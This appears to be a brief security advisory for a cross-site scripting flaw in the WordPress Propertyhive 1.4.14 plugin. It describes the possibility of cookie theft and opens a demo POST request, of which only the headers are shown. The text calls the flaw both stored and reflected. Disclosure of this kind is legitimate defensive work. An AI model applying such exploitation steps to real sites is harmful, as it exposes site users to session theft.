WordPress Propertyhive 1.4.14 Cross Site Scripting

WordPress Propertyhive plugin version 1.4.14 suffers from a cross site scripting vulnerability.

MD5 | afdcbe34b23f34d657b3c94c76c5b535

Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable Propertyhive 1.4.14

Propertyhive is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value body is not filter correctly:

Demo Request POST:

Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept-Language: es-ES,es;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40


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